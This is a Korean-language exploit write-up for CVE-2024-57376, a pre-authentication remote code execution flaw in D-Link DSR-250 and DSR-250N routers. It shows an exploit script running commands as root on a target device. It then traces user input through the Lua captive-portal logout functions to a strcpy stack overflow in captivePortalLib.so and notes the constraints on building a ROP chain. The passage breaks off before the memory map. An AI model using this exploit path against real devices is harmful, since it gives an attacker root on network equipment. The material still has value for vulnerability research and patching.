
CVE-2024-57376 익스플로잇
D-Link DSR-250 및 DSR-250N에 대한 인증 전 원격 코드 실행 익스플로잇
보안 권고: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415
$ python3 exploit.py
usage: <host> <port> <command>
$ python3 exploit.py 192.168.1.1 443 id
[+] fingerprint
device: DSR-250N
year : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 24\r\nDate: Thu, 22 Dec 2022 11:50:49 GMT\r\nServer: Light Weight Web Server\r\n\r\nuid=0(root) gid=0(root)\n'
HTTP/1.1 200 OK
Content-Length: 24
Date: Thu, 22 Dec 2022 11:50:49 GMT
Server: Light Weight Web Server
uid=0(root) gid=0(root)
$ python3 exploit.py 192.168.1.1 443 'cat /pfrm2.0/etc/dlink_version'
[+] fingerprint
device: DSR-250N
year : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 12\r\nDate: Thu, 22 Dec 2022 11:57:35 GMT\r\nServer: Light Weight Web Server\r\n\r\n3.17B901C_WW'
HTTP/1.1 200 OK
Content-Length: 12
Date: Thu, 22 Dec 2022 11:57:35 GMT
Server: Light Weight Web Server
3.17B901C_WW
로그아웃을 위해 호출되는 duaCP.logout 함수 코드입니다.
function duaCP.logout (cgiparams)
local extCpResult, clientMac, clientIp, authenticatorIp, apMac, apIp, vendor,
ssid, deviceType, vlan, pageId, returnUrl, authSuccessUrl,
returnLogoutUrl, notifyUrl, sessionRandom, hash, token
local request = ""
extCpResult = cgiparams.externalCpResult
clientMac = cgiparams.clientMac
clientIp = cgiparams.clientIp
authenticatorIp = cgiparams.authenticatorIp
apMac = cgiparams.apMac
apIp = cgiparams.apIp
vendor = cgiparams.vendor
ssid = cgiparams.ssid
deviceType = cgiparams.deviceType
vlan = cgiparams.vlan
pageId = cgiparams.pageIndex
returnUrl = cgiparams.returnUrl
authSuccessUrl = cgiparams.authenticationSuccessUrl
returnLogoutUrl = cgiparams.returnLogoutUrl
notifyUrl = cgiparams.notifyUrl
sessionRandom = cgiparams.sessionRandom
hash = cgiparams.hash
token = db.getAttribute("cpExtWebServer", "_ROWID_", "1", "token")
local status, reason
reason = "success"
-- validate hash first
if (hashValidate (authenticatorIp, clientMac, token, sessionRandom, hash) == "ERROR") then
-- respond to DUA with failure result so that user will be shown login
-- page
reason = "failure"
end
status, clientMac, clientIp = duaCP.parse_logoutInfo (extCpResult)
if (status == "ERROR") then
reason = "failure"
end
-- redirect to DUA
duaCP.logoutProcess (cgiparams, reason, token)
end
다음을 호출합니다:
hashValidateduaCP.parse_logoutInfoduaCP.logoutProcess취약한 코드로 이어지는 경로는 duaCP.parse_logoutInfo입니다. 사용자 입력인 extCpResult를 매개변수로 사용합니다.
다음은 duaCP.parse_logoutInfo 코드입니다.
function duaCP.parse_logoutInfo (extCpResult)
local status = "OK"
-- process the extCpResult
status, clientMac, clientIp = captivePortalLib.duaLogoutInfoGet (extCpResult)
if (status == "1" or tonumber (status) == 1) then
return "ERROR"
end
clientMac = clientMac:gsub("%-", "%:")
return status, clientMac, clientIp
end
captivePortalLib.duaLogoutInfoGet을 호출합니다. extCpResult를 직접 매개변수로 사용합니다. 이 코드는 공유 라이브러리 captivePortalLib.so에 정의되어 있습니다.

lua_tolstring은 extCpResult의 문자열 포인터를 반환하고, 지역 변수를 매개변수로 가지는 strcpy가 호출됩니다. 이는 명백한 스택 버퍼 오버플로우입니다. 이제 ROP 가젯을 연결해야 합니다.
strcpy에 의해 취약점이 트리거되기 때문에 몇 가지 제한이 있습니다. NULL 바이트를 입력할 수 없습니다.
메모리 맵은 다음과 같습니다: